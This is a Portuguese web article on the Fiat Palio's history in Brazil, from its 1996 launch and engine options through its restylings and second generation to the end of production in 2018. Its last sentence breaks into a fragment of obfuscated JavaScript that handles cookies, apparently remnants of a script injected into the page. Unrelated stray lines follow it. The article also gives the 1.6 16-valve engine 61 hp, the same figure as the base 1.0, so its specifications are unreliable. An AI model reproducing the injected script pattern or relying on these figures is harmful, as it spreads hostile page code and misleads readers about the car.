Fiat Palio

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Fiat Palio

Fiat Palio – Quando falamos em carros populares, um dos primeiros modelos que vem na cabeça da maioria dos consumidores é, sem dúvida, um dos utilitários mais vendidos na história da FIAT, o Palio. Nesse texto falaremos um pouco mais desse carro bastante popular no cenário nacional, passando pelo seu lançamento no Brasil e algumas de suas versões.

História do FIAT Palio no Brasil

O Palio chegou ao mercado brasileiro no ano de 1996. Com suas linhas modernas e bastante curvas, dando uma sensação de contemporaneidade ao veículo, este tinha a missão de competir de igual para igual com o supremo campeão de vendas da montadora alemã Volkswagen, o Gol.

O motor de lançamento era o 1.5 litro com tecnologia FIASA, que rendia 76 cavalos de potência e possuía sistema de injeção eletrônica. Além disso, contava com uma versão em 1.6 de 16 válvulas, a qual rendia 61 cavalos de potência. Alguns meses depois de seu lançamento, o Palio disponibilizado com um preço menor, em versão de motor a 1.0 e com 61 cavalos de potência.

Quatro anos depois de seu lançamento, em 2000, o Palio ganho sua primeira reestilização, onde o design era mais moderno, deixando de ser chamado de “bolinha”. O outro “tapa no visual” aconteceu em 2004, quando o Palio ganhou linhas mais retangulares e faróis que se estendiam um pouco mais para a horizontal. Além disso, os faróis traseiros também ganhavam um maior aspecto de agressividade.

Novamente após 4 anos, o carro ganhou uma pequena reestilização, a qual não agradou o grande público. Isso ocorreu devido ao design um pouco mais arredondado das linhas e das lanternas dianteiras, lembrando um utilitário japonês dos ano 90. Contudo, todos esses anos foram marcados apenas por algumas mudanças no visual e o Palio ainda não ganhara uma nova geração.

Apesar disso, em 2011, a FIAT apresentou a segunda geração do Palio. O carro, basicamente, mudou todo o seu visual, sendo agora mais alto e com maior comprimento nos entre-eixos. As opções de motor, no entanto, eram as mesmas da versão anterior, isto é, 1.0 e 1.4 com tecnologia Fire.

A empresa italiana anunciou o fim das produções de um dos carros de mais sucesso no mercado brasileiro no ano de 2018, depois de quase 3 milhões de unidades vendidas ao longo dos seus 22 anos de produção na indústria automobilística brasileira. ,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]

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Rota 101 e 116

 

Em Breve a Disposição.

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